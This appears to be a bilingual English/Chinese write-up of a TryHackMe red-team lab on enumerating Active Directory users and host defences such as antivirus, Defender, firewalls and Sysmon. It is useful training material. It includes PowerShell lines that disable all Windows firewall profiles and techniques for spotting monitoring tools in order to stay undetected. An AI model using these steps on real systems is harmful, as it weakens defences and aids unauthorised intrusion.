&lt;p&gt;Note that the result may contain more than one user depending on the configuration of the CN. Try the command to find all users within the THM &lt;u&gt;OU&lt;/u&gt; and answer question 1 below.&lt;br&gt;请注意，结果可能包含多个用户，具体取决于 CN 的配置。尝试使用该命令查找 THM OU 中的所有用户，并回答下面的问题 1。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Use the Get-ADUser -Filter * -SearchBase command to list the available user accounts within THM OU in the thmredteam.com domain. How many users are available?&lt;br&gt;使用 Get-ADUser -Filter * -SearchBase 命令列出 thmredteam.com 域中 THM OU 中的可用用户帐户。有多少用户可用？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Get-ADUser -Filter * -SearchBase &amp;quot;OU=THM,DC=THMREDTEAM,DC=COM&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once you run the previous command, what is the UserPrincipalName (email) of the admin account?&lt;br&gt;运行上一个命令后，管理员帐户的 UserPrincipalName（电子邮件）是什么？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; &lt;a href=&quot;mailto:thmadmin@thmredteam.com&quot;&gt;thmadmin@thmredteam.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Host Security Solution #1&lt;/h1&gt;
&lt;p&gt;Before performing further actions, we need to obtain general knowledge about the security solutions in place. Remember, it is important to enumerate antivirus and security detection methods on an endpoint in order to stay as undetected as possible and reduce the chance of getting caught.&lt;br&gt;在执行进一步操作之前，我们需要获得有关现有安全解决方案的一般知识。请记住，在终结点上枚举防病毒和安全检测方法非常重要，以便尽可能不被发现并减少被捕获的机会。&lt;/p&gt;
&lt;p&gt;This task will discuss the common security solution used in corporate networks, divided into Host and Network security solutions.&lt;br&gt;此任务将讨论企业网络中使用的常见安全解决方案，分为主机和网络安全解决方案。&lt;/p&gt;
&lt;p&gt;Host Security Solutions 主机安全解决方案&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-10.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;It is a set of software applications used to monitor and detect abnormal and malicious activities within the host, including:&lt;br&gt;它是一组用于监视和检测主机内异常和恶意活动的软件应用程序，包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Antivirus software 防病毒软件  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Microsoft Windows Defender&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Host-based &lt;u&gt;Firewall&lt;/u&gt; 基于主机的防火墙&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security Event Logging and Monitoring&lt;br&gt;安全事件记录和监控  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Host-based Intrusion Detection System (&lt;u&gt;HIDS&lt;/u&gt;)/ Host-based Intrusion Prevention System (&lt;u&gt;HIPS&lt;/u&gt;)&lt;br&gt;基于主机的入侵检测系统（HIDS）/基于主机的入侵防御系统（HIPS）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Endpoint Detection and Response (&lt;u&gt;EDR&lt;/u&gt;)&lt;br&gt;端点检测和响应 （EDR）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&amp;#39;s go more detail through the host-based security solutions that we may encounter during the red team engagement.&lt;br&gt;让我们更详细地了解我们在红队参与期间可能遇到的基于主机的安全解决方案。&lt;/p&gt;
&lt;p&gt;Antivirus Software (&lt;u&gt;AV&lt;/u&gt;) 防病毒软件 （AV）  &lt;/p&gt;
&lt;p&gt;Antivirus software also known as anti-malware, is mainly used to monitor, detect, and prevent malicious software from being executed within the host.  Most antivirus software applications use well-known features, including Background scanning, Full system scans, Virus definitions. In the background scanning, the antivirus software works in real-time and scans all open and used files in the background. The full system scan is essential when you first install the antivirus. The most interesting part is the virus definitions, where antivirus software replies to the pre-defined virus. That&amp;#39;s why antivirus software needs to update from time to time.&lt;br&gt;防病毒软件也称为反恶意软件，主要用于监视、检测和防止恶意软件在主机内执行。大多数防病毒软件应用程序都使用众所周知的功能，包括后台扫描、完整系统扫描、病毒定义。在后台扫描中，防病毒软件实时工作，并在后台扫描所有打开和使用的文件。首次安装防病毒软件时，完整的系统扫描是必不可少的。最有趣的部分是病毒定义，其中防病毒软件会回复预定义的病毒。这就是为什么防病毒软件需要不时更新的原因。&lt;/p&gt;
&lt;p&gt;There are various detection techniques that the antivirus uses, including&lt;br&gt;防病毒软件使用多种检测技术，包括&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Signature-based detection&lt;br&gt;基于签名的检测&lt;/li&gt;
&lt;li&gt;Heuristic-based detection&lt;br&gt;基于启发式的检测&lt;/li&gt;
&lt;li&gt;Behavior-based detection 基于行为的检测&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Signature-based detection&lt;/strong&gt; is one of the common and traditional techniques used in antivirus software to identify malicious files. Often, researchers or users submit their infected files into an antivirus engine platform for further analysis by &lt;u&gt;AV&lt;/u&gt; vendors, and if it confirms as malicious, then the signature gets registered in their database. The antivirus software compares the scanned file with a database of known signatures for possible attacks and malware on the client-side. If we have a match, then it considers a threat.&lt;br&gt;基于签名的检测是防病毒软件中用于识别恶意文件的常用和传统技术之一。通常，研究人员或用户将受感染的文件提交到防病毒引擎平台中，供 AV 供应商进一步分析，如果确认为恶意文件，则签名将注册到他们的数据库中。防病毒软件将扫描的文件与已知签名数据库进行比较，以发现客户端上可能的攻击和恶意软件。如果我们有匹配项，那么它就会被视为威胁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Heuristic-based detection&lt;/strong&gt; uses machine learning to decide whether we have the malicious file or not. It scans and statically analyses in real-time in order to find suspicious properties in the application&amp;#39;s code or check whether it uses uncommon Windows or system APIs. It does not rely on the signature-based attack in making the decisions, or sometimes it does. This depends on the implementation of the antivirus software.&lt;br&gt;基于启发式的检测使用机器学习来确定我们是否拥有恶意文件。它实时扫描和静态分析，以查找应用程序代码中的可疑属性或检查它是否使用不常见的 Windows 或系统 API。它不依赖于基于签名的攻击来做出决策，或者有时确实如此。这取决于防病毒软件的实施。  &lt;/p&gt;
&lt;p&gt;Finally, &lt;strong&gt;Behavior-based detection&lt;/strong&gt; relies on monitoring and examining the execution of applications to find abnormal behaviors and uncommon activities, such as creating/updating values in registry keys, killing/creating processes, etc.&lt;br&gt;最后，基于行为的检测依赖于监视和检查应用程序的执行，以发现异常行为和不常见的活动，例如创建/更新注册表项中的值、终止/创建进程等。&lt;/p&gt;
&lt;p&gt;As a red teamer, it is essential to be aware of whether antivirus exists or not. It prevents us from doing what we are attempting to do. We can enumerate AV software using Windows built-in tools, such as wmic&lt;br&gt;作为红队成员，必须了解防病毒软件是否存在。它阻止我们做我们试图做的事情。我们可以使用 Windows 内置工具（例如 wmic）枚举 AV 软件.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;This also can be done using &lt;u&gt;PowerShell&lt;/u&gt;, which gives the same result.&lt;br&gt;这也可以使用 PowerShell 来完成，它给出相同的结果。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;As a result, there is a third-party antivirus (Bitdefender Antivirus) and Windows Defender installed on the computer. **Note **that Windows servers may not have SecurityCenter2 namespace, which may not work on the attached &lt;u&gt;VM&lt;/u&gt;. Instead, it works for Windows workstations!&lt;br&gt;因此，计算机上安装了第三方防病毒软件（Bitdefender Antivirus）和Windows Defender。请注意，Windows 服务器可能没有 SecurityCenter2 命名空间，这可能在附加的 VM 上不起作用。相反，它适用于 Windows 工作站！&lt;/p&gt;
&lt;p&gt;Microsoft Windows Defender&lt;/p&gt;
&lt;p&gt;Microsoft Windows Defender is a pre-installed antivirus security tool that runs on endpoints. It uses various algorithms in the detection, including machine learning, big-data analysis, in-depth threat resistance research, and Microsoft cloud infrastructure in protection against malware and viruses. MS Defender works in three protection modes: Active, Passive, Disable modes.&lt;br&gt;Microsoft Windows Defender是在端点上运行的预安装的防病毒安全工具。它在检测中使用各种算法，包括机器学习、大数据分析、深入的威胁防御研究以及 Microsoft 云基础结构来抵御恶意软件和病毒。MS Defender在三种保护模式下工作：主动、被动、禁用模式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Active&lt;/strong&gt; mode is used where the MS Defender runs as the primary antivirus software on the machine where provides protection and remediation. &lt;strong&gt;Passive&lt;/strong&gt;** &lt;strong&gt;mode is run when a 3rd party antivirus software is installed. Therefore, it works as secondary antivirus software where it scans files and detects threats but does not provide remediation. Finally, &lt;strong&gt;Disable&lt;/strong&gt;&lt;/strong&gt; **mode is when the MS Defender is disabled or uninstalled from the system.&lt;br&gt;当MS Defender作为提供保护和修正的计算机上的主要防病毒软件运行时，使用主动模式。安装第三方防病毒软件时，将运行被动模式。因此，它用作辅助防病毒软件，扫描文件并检测威胁，但不提供补救措施。最后，禁用模式是指从系统中禁用或卸载MS Defender。&lt;/p&gt;
&lt;p&gt;We can use the following &lt;u&gt;PowerShell&lt;/u&gt; command to check the service state of Windows Defender:&lt;br&gt;我们可以使用以下 PowerShell 命令来检查 Windows Defender 的服务状态：&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Next, we can start using the Get-MpComputerStatus cmdlet to get the current Windows Defender status. However, it provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc. We can use select to specify what we need for as follows,&lt;br&gt;接下来，我们可以开始使用 Get-MpComputerStatus cmdlet 获取当前的 Windows Defender 状态。但是，它提供了安全解决方案元素的当前状态，包括反间谍软件、防病毒、LoavProtection、实时保护等。我们可以使用 select 来指定我们需要的内容，如下所示：&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;As a result, MpComputerStatus highlights whether Windows Defender is enabled or not.&lt;br&gt;因此，MpComputerStatus 突出显示是否启用了 Windows Defender。  &lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Host-based&lt;/strong&gt;** ****&lt;u&gt;Firewall&lt;/u&gt;**: It is a security tool installed and run on a host machine that can prevent and block attacker or red teamers&amp;#39; attack attempts. Thus, it is essential to enumerate and gather details about the firewall and its rules within the machine we have initial access to.&lt;br&gt;3.基于主机的防火墙：它是在主机上安装和运行的安全工具，可以防止和阻止攻击者或红队的攻击尝试。因此，必须枚举和收集有关我们最初可以访问的计算机中的防火墙及其规则的详细信息。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-11.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;The main purpose of the host-based firewall is to control the inbound and outbound traffic that goes through the device&amp;#39;s interface. It protects the host from untrusted devices that are on the same network. A modern host-based firewall uses multiple levels of analyzing traffic, including packet analysis, while establishing the connection.&lt;br&gt;基于主机的防火墙的主要目的是控制通过设备接口的入站和出站流量。它可以保护主机免受同一网络上不受信任的设备的侵害。现代基于主机的防火墙在建立连接时使用多个级别的流量分析，包括数据包分析。&lt;/p&gt;
&lt;p&gt;A firewall acts as control access at the network layer. It is capable of allowing and denying network packets. For example, a firewall can be configured to block ICMP packets sent through the ping command from other machines in the same network. Next-generation firewalls also can inspect other OSI layers, such as application layers. Therefore, it can detect and block &lt;u&gt;SQL&lt;/u&gt; injection and other application-layer attacks.&lt;br&gt;防火墙充当网络层的控制访问。它能够允许和拒绝网络数据包。例如，可以将防火墙配置为阻止通过ping命令从同一网络中的其他计算机发送的ICMP数据包。下一代防火墙还可以检查其他 OSI 层，例如应用层。因此，它可以检测并阻止SQL注入和其他应用层攻击。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;If we have admin privileges on the current user we logged in with, then we try to disable one or more than one firewall profile using the Set-NetFirewallProfile cmdlet&lt;br&gt;如果我们对登录的当前用户具有管理员权限，则尝试使用 Set-NetFirewallProfile cmdlet 禁用一个或多个防火墙配置文件.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;During the red team engagement, we have no clue what the firewall blocks. However, we can take advantage of some PowerShell cmdlets such as Test-NetConnection and TcpClient. Assume we know that a firewall is in place, and we need to test inbound connection without extra tools, then we can do the following:&lt;br&gt;在红队交战期间，我们不知道防火墙阻止了什么。但是，我们可以利用一些 PowerShell cmdlet，例如 Test-NetConnection 和 TcpClient。假设我们知道防火墙已经到位，并且我们需要在没有额外工具的情况下测试入站连接，那么我们可以执行以下操作：&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;As a result, we can confirm the inbound connection on port 80 is open and allowed in the firewall. Note that we can also test for remote targets in the same network or domain names by specifying in the -ComputerName argument for the Test-NetConnection.&lt;br&gt;因此，我们可以确认端口 80 上的入站连接已打开并允许在防火墙中。请注意，我们还可以通过在 Test-NetConnection 的 -ComputerName 参数中指定来测试相同网络或域名中的远程目标。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; wmic /namespace:\\root\securitycenter2 path antivirusproduct
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct


displayName              : Bitdefender Antivirus
instanceGuid             : {BAF124F4-FA00-8560-3FDE-6C380446AEFB}
pathToSignedProductExe   : C:\Program Files\Bitdefender\Bitdefender Security\wscfix.exe
pathToSignedReportingExe : C:\Program Files\Bitdefender\Bitdefender Security\bdservicehost.exe
productState             : 266240
timestamp                : Wed, 15 Dec 2021 12:40:10 GMT
PSComputerName           :

displayName              : Windows Defender
instanceGuid             : {D58FFC3A-813B-4fae-9E44-DA132C9FAA36}
pathToSignedProductExe   : windowsdefender://
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpeng.exe
productState             : 393472
timestamp                : Fri, 15 Oct 2021 22:32:01 GMT
PSComputerName           :
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-Service WinDefend

Status   Name               DisplayName
------   ----               -----------
Running  WinDefend          Windows Defender Antivirus Service
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-MpComputerStatus | select RealTimeProtectionEnabled

RealTimeProtectionEnabled
-------------------------
                    False
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-NetFirewallProfile | Format-Table Name, Enabled

Name    Enabled
----    -------
Domain     True
Private    True
Public     True
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Windows\system32&amp;gt; Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
PS C:\Windows\system32&amp;gt; Get-NetFirewallProfile | Format-Table Name, Enabled
---- -------
Domain False
Private False
Public False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can also learn and check the current &lt;u&gt;Firewall&lt;/u&gt; rules, whether allowing or denying by the firewall.&lt;br&gt;我们还可以学习和检查当前的防火墙规则，无论是防火墙允许还是拒绝。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-NetFirewallRule | select DisplayName, Enabled, Description

DisplayName                                                                  Enabled
-----------                                                                  -------
Virtual Machine Monitoring (DCOM-In)                                           False
Virtual Machine Monitoring (Echo Request - ICMPv4-In)                          False
Virtual Machine Monitoring (Echo Request - ICMPv6-In)                          False
Virtual Machine Monitoring (NB-Session-In)                                     False
Virtual Machine Monitoring (RPC)                                               False
SNMP Trap Service (UDP In)                                                     False
SNMP Trap Service (UDP In)                                                     False
Connected User Experiences and Telemetry                                        True
Delivery Optimization (TCP-In)                                                  True
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Test-NetConnection -ComputerName 127.0.0.1 -Port 80


ComputerName     : 127.0.0.1
RemoteAddress    : 127.0.0.1
RemotePort       : 80
InterfaceAlias   : Loopback Pseudo-Interface 1
SourceAddress    : 127.0.0.1
TcpTestSucceeded : True

PS C:\Users\thm&amp;gt; (New-Object System.Net.Sockets.TcpClient(&amp;quot;127.0.0.1&amp;quot;, &amp;quot;80&amp;quot;)).Connected
True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;枚举已部署的Windows机器并检查其基于主机的防火墙是否启用：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Get-NetFirewallProfile | Format-Table Name, Enabled&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using PowerShell cmdlets such Get-MpThreat can provide us with threats details that have been detected using MS Defender. Run it and answer the following: What is the file name that causes this alert to record?&lt;br&gt;使用 PowerShell cmdlet（如 Get-MpThreat）可以为我们提供使用 MS Defender 检测到的威胁详细信息。运行它并回答以下问题：导致记录此警报的文件名是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;执行&lt;strong&gt;Get-MpThreat&lt;/strong&gt;命令，它可以提供使用Windows Defender时所检测到的威胁详细信息：&lt;/p&gt;
&lt;p&gt;Get-MpThreat | select Resources&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PowerView.ps1  &lt;/p&gt;
&lt;p&gt;Enumerate the firewall rules of the attached Windows machine. What is the port that is allowed under the &lt;strong&gt;THM-Connection&lt;/strong&gt; rule?&lt;br&gt;枚举附加的 Windows 计算机的防火墙规则。THM-Connection 规则允许的端口是什么？&lt;/p&gt;
&lt;p&gt;枚举已部署的Windows机器上的防火墙规则，此处我们选择查看THM-Connection(这是目标虚拟机上的自定义防火墙规则，该规则名称无普适性):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#Get-NetFirewallRule | findstr &amp;quot;Rule-Name&amp;quot;
Get-NetFirewallRule | findstr &amp;quot;THM-Connection&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Host Security Solution #2&lt;/h1&gt;
&lt;p&gt;In this task, we will keep discussing host security solutions.&lt;br&gt;在此任务中，我们将继续讨论主机安全解决方案。&lt;/p&gt;
&lt;p&gt;Security Event Logging and Monitoring&lt;br&gt;安全事件记录和监控&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;By default, Operating systems log various activity events in the system using log files. The event logging feature is available to the IT system and network administrators to monitor and analyze important events, whether on the host or the network side. In cooperating networks, security teams utilize the logging event technique to track and investigate security incidents.&lt;br&gt;默认情况下，操作系统使用日志文件记录系统中的各种活动事件。事件记录功能可供 IT 系统和网络管理员使用，以监控和分析主机端或网络端的重要事件。在协作网络中，安全团队利用日志记录事件技术来跟踪和调查安全事件。&lt;/p&gt;
&lt;p&gt;There are various categories where the Windows operating system logs event information, including the application, system, security, services, etc. In addition, security and network devices store event information into log files to allow the system administrators to get an insight into what is going on.&lt;br&gt;Windows 操作系统记录事件信息的类别有很多，包括应用程序、系统、安全性、服务等。此外，安全和网络设备将事件信息存储到日志文件中，以便系统管理员深入了解正在发生的事情。&lt;/p&gt;
&lt;p&gt;We can get a list of available event logs on the local machine using the Get-EventLog cmdlet.&lt;br&gt;我们可以使用 Get-EventLog cmdlet 获取本地计算机上可用事件日志的列表。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-EventLog -List

  Max(K) Retain OverflowAction        Entries Log
  ------ ------ --------------        ------- ---
     512      7 OverwriteOlder             59 Active Directory Web Services
  20,480      0 OverwriteAsNeeded         512 Application
     512      0 OverwriteAsNeeded         170 Directory Service
 102,400      0 OverwriteAsNeeded          67 DNS Server
  20,480      0 OverwriteAsNeeded       4,345 System
  15,360      0 OverwriteAsNeeded       1,692 Windows PowerShell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sometimes, the list of available event logs gives you an insight into what applications and services are installed on the machine! For example, we can see that the local machine has Active Directory, DNS server, etc. For more information about the Get-EventLog cmdlet with examples, visit the &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1&quot;&gt;Microsoft documents website&lt;/a&gt;.&lt;br&gt;有时，可用事件日志列表可让您深入了解计算机上安装了哪些应用程序和服务！例如，我们可以看到本地机器有Active Directory、DNS服务器等。有关带有示例的 Get-EventLog cmdlet 的详细信息，请访问 Microsoft 文档网站。&lt;/p&gt;
&lt;p&gt;In corporate networks, log agent software is installed on clients to collect and gather logs from different sensors to analyze and monitor activities within the network. We will discuss them more in the Network Security Solution task.&lt;br&gt;在企业网络中，客户端上安装了日志代理软件，用于收集和收集来自不同传感器的日志，以分析和监控网络内的活动。我们将在网络安全解决方案任务中详细讨论它们。&lt;/p&gt;
&lt;p&gt;System Monitor (&lt;u&gt;Sysmon&lt;/u&gt;) 系统监视器 （Sysmon）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-13.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Windows System Monitor sysmon is a service and device driver. It is one of the Microsoft Sysinternals suites. The sysmon tool is not an essential tool (not installed by default), but it starts gathering and logging events once installed. These logs indicators can significantly help system administrators and blue teamers to track and investigate malicious activity and help with general troubleshooting.&lt;br&gt;Windows 系统监视器 sysmon 是一种服务和设备驱动程序。它是 Microsoft Sysinternals 套件之一。sysmon 工具不是必需的工具（默认情况下未安装），但它在安装后开始收集和记录事件。这些日志指示器可以显著帮助系统管理员和蓝队成员跟踪和调查恶意活动，并帮助进行一般故障排除。&lt;/p&gt;
&lt;p&gt;One of the great features of the sysmon  tool is that it can log many important events, and you can also create your own rule(s) and configuration to monitor:&lt;br&gt;sysmon 工具的一大特点是它可以记录许多重要事件，您还可以创建自己的规则和配置来监控：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Process creation and termination&lt;br&gt;进程创建和终止&lt;/li&gt;
&lt;li&gt;Network connections 网络连接&lt;/li&gt;
&lt;li&gt;Modification on file 对文件的修改&lt;/li&gt;
&lt;li&gt;Remote threats 远程威胁&lt;/li&gt;
&lt;li&gt;Process and memory access&lt;br&gt;进程和内存访问&lt;/li&gt;
&lt;li&gt;and many others 还有很多其他的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For learning more about sysmon, visit the Windows document page &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon&quot;&gt;here&lt;/a&gt;.&lt;br&gt;有关 sysmon 的更多信息，请访问此处的 Windows 文档页面。&lt;/p&gt;
&lt;p&gt;As a red teamer, one of the primary goals is to stay undetectable, so it is essential to be aware of these tools and avoid causing generating and alerting events. The following are some of the tricks that can be used to detect whether the sysmon is available in the victim machine or not.&lt;br&gt;作为红队成员，主要目标之一是保持不被检测，因此必须了解这些工具并避免导致生成和警报事件。以下是一些可用于检测 sysmon 在受害计算机中是否可用的技巧。&lt;/p&gt;
&lt;p&gt;We can look for a process or service that has been named &amp;quot;Sysmon&amp;quot; within the current process or services as follows,&lt;br&gt;我们可以在当前进程或服务中查找名为“Sysmon”的进程或服务，如下所示：&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-Process | Where-Object { $_.ProcessName -eq &amp;quot;Sysmon&amp;quot; }

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    373      15    20212      31716              3316   0 Sysmon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or look for services as follows,&lt;br&gt;或按如下方式寻找服务，&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-CimInstance win32_service -Filter &amp;quot;Description = &amp;#39;System Monitor service&amp;#39;&amp;quot;
# or
Get-Service | where-object {$_.DisplayName -like &amp;quot;*sysm*&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also can be done by checking the Windows registry&lt;br&gt;也可以通过检查 Windows 注册表来完成&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All these commands confirm if the sysmon tool is installed. Once we detect it, we can try to find the sysmon configuration file if we have readable permission to understand what system administrators are monitoring.&lt;br&gt;所有这些命令都确认是否安装了 sysmon 工具。一旦我们检测到它，如果我们具有可读权限来了解系统管理员正在监视的内容，我们可以尝试找到 sysmon 配置文件。  &lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; findstr /si &amp;#39;&amp;lt;ProcessCreate onmatch=&amp;quot;exclude&amp;quot;&amp;gt;&amp;#39; C:\tools\*
C:\tools\Sysmon\sysmonconfig.xml:      
C:\tools\Sysmon\sysmonconfig.xml:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For more detail about the Windows sysmon tool and how to utilize it within endpoints, we suggest trying the TryHackMe room: &lt;a href=&quot;https://tryhackme.com/room/sysmon&quot;&gt;Sysmon&lt;/a&gt;.&lt;br&gt;有关 Windows sysmon 工具以及如何在端点中使用它的更多详细信息，我们建议尝试 TryHackMe 聊天室：Sysmon。&lt;/p&gt;
&lt;p&gt;Host-based Intrusion Detection/Prevention System (&lt;u&gt;HIDS&lt;/u&gt;/&lt;u&gt;HIPS&lt;/u&gt;)&lt;br&gt;基于主机的入侵检测/防御系统 （HIDS/HIPS）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;HIDS&lt;/u&gt;&lt;/strong&gt;** **stands for Host-based Intrusion Detection System. It is software that has the ability to monitor and detect abnormal and malicious activities in a host. The primary purpose of &lt;u&gt;HIDS&lt;/u&gt; is to detect suspicious activities and not to prevent them. There are two methods that the host-based or network intrusion detection system works, including:&lt;br&gt;HIDS 代表基于主机的入侵检测系统。它是能够监视和检测主机中的异常和恶意活动的软件。HIDS 的主要目的是检测可疑活动，而不是阻止它们。基于主机或网络入侵检测系统有两种工作方式，包括：&lt;/p&gt;
&lt;ul&gt;
